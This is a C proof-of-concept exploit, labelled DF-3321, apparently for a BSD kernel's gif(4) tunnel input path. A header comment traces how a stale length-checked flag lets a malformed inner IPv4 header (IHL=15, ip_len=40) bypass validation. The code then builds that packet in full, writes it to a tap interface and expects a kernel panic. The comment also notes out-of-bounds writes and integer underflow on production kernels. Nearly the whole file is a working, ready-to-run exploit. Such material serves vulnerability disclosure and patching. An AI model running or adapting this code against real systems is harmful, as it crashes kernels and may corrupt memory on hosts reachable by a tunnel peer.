DF-3321 / gif_ihl15.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | /* * DF-3321 PoC A - gif(4) decapsulation leaves a stale M_LENCHECKED flag, * so the INNER IPv4 header is never length-validated on re-entry into * ip_input(). One packet with inner IHL=15 but ip_len=40 trips: * * ip_input.c:575 KASSERT(ip_len >= hlen, ("total length incl header")) * * on INVARIANTS kernels (the default X86_64_GENERIC). On production * kernels the KASSERT vanishes and the lying lengths flow on: * ip_dooptions() walks/writes 40 option bytes past the pulled-up area, * and ip_reass() does `m->m_len -= hlen` / `ip_len -= hlen` with hlen=60 * on a 40-byte datagram (negative m_len mbufs, uint16 underflow). * * Path (all unauthenticated, single packet from the tunnel peer): * * tapwrite -> ether_input -> ip_lengthcheck() [M_LENCHECKED set for * the OUTER header] -> ip_input -> encap4_input (proto 4) -> * gif_encapcheck/gif_validate4 match -> in_gif_input(): m_adj(outer 20), * m_pullup(only 20 bytes of inner) -> gif_input(): clears M_HASH but * NOT M_LENCHECKED (sys/net/gif/if_gif.c:466) -> netisr_queue(NETISR_IP) * -> ip_input(): M_HASH clear => ip_hashfn() => ip_demux.c:295 sees the * stale M_LENCHECKED and SKIPS ip_lengthcheck() for the inner header. * * Setup (root, one time): * ifconfig tap0 up * ifconfig tap0 inet 10.99.0.1 netmask 255.255.255.0 * kldload if_gif * ifconfig gif0 create * ifconfig gif0 tunnel 10.99.0.1 10.99.0.2 up * * Build: cc -O -o gif_ihl15 gif_ihl15.c * Run: ./gif_ihl15 */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <net/ethernet.h> #include <net/if_dl.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/ip.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> static u_int16_t cksum(const u_int16_t *w, int len) { u_int32_t sum = 0; while (len > 1) { sum += *w++; len -= 2; } if (len == 1) sum += *(const u_char *)w; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return (u_int16_t)~sum; } int main(void) { /* * ether(14) + outer IP(20) + inner IP(60: IHL=15) + 8 bytes so that * ip_hashfn()'s TCP-port read (ip+iphlen) stays inside the mbuf. * Inner claims ip_len = 40 (< hlen = 60). */ unsigned char pkt[sizeof(struct ether_header) + 20 + 68]; struct ifreq ifr; struct ether_header *eh; struct ip *oip, *iip; u_int16_t etype; u_char tapmac[ETHER_ADDR_LEN]; int fd, n; fd = open("/dev/tap0", O_RDWR); if (fd < 0) { perror("open /dev/tap0"); return 1; } /* tap0's MAC changes on every create - query it */ { struct sockaddr_dl *sdl; memset(&ifr, 0, sizeof(ifr)); if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) { perror("SIOCGIFADDR"); return 1; } sdl = (struct sockaddr_dl *)&ifr.ifr_addr; memcpy(tapmac, LLADDR(sdl), ETHER_ADDR_LEN); } memset(pkt, 0, sizeof(pkt)); /* ---- ethernet: from the "gif peer" to us ---- */ eh = (struct ether_header *)pkt; memcpy(eh->ether_dhost, tapmac, ETHER_ADDR_LEN); /* tap0 mac */ eh->ether_shost[0] = 0x02; eh->ether_shost[1] = 0x00; eh->ether_shost[2] = 0x00; eh->ether_shost[3] = 0x00; eh->ether_shost[4] = 0x00; eh->ether_shost[5] = 0x02; etype = htons(ETHERTYPE_IP); memcpy(&eh->ether_type, &etype, 2); /* ---- outer IP: src=peer(10.99.0.2) dst=us(10.99.0.1), proto 4 ---- */ oip = (struct ip *)(pkt + sizeof(struct ether_header)); oip->ip_v = 4; oip->ip_hl = 5; oip->ip_tos = 0; oip->ip_len = htons(20 + 68); oip->ip_id = htons(1); oip->ip_off = 0; oip->ip_ttl = 64; oip->ip_p = 4; /* IPPROTO_IPV4 (gif encap) */ inet_aton("10.99.0.2", &oip->ip_src); inet_aton("10.99.0.1", &oip->ip_dst); oip->ip_sum = 0; oip->ip_sum = cksum((const u_int16_t *)oip, 20); /* ---- inner IP: IHL=15 (hlen=60) but ip_len claims only 40 ---- */ iip = (struct ip *)(pkt + sizeof(struct ether_header) + 20); iip->ip_v = 4; iip->ip_hl = 15; /* <== hlen 60 > ip_len 40 */ iip->ip_tos = 0; iip->ip_len = htons(40); /* <== the lie */ iip->ip_id = htons(2); iip->ip_off = 0; iip->ip_ttl = 64; iip->ip_p = IPPROTO_TCP; inet_aton("10.99.0.2", &iip->ip_src); inet_aton("10.99.0.1", &iip->ip_dst); iip->ip_sum = 0; /* checksum must cover exactly the 60 bytes the kernel will sum */ iip->ip_sum = cksum((const u_int16_t *)iip, 60); /* bytes 60..67: a couple of TCP words so ip_hashfn()'s th port read * stays in-bounds (it reads th_sport/th_dport at ip+iphlen=60). */ pkt[sizeof(struct ether_header) + 20 + 60] = 0x9c; /* sport 40000 */ pkt[sizeof(struct ether_header) + 20 + 61] = 0x40; pkt[sizeof(struct ether_header) + 20 + 62] = 0x27; /* dport 9999 */ pkt[sizeof(struct ether_header) + 20 + 63] = 0x0f; n = write(fd, pkt, sizeof(pkt)); printf("wrote %d/%d bytes to tap0 (expect panic: " "\"total length incl header\" at ip_input.c:575)\n", n, (int)sizeof(pkt)); if (n < 0) perror("write"); sleep(2); return 0; } |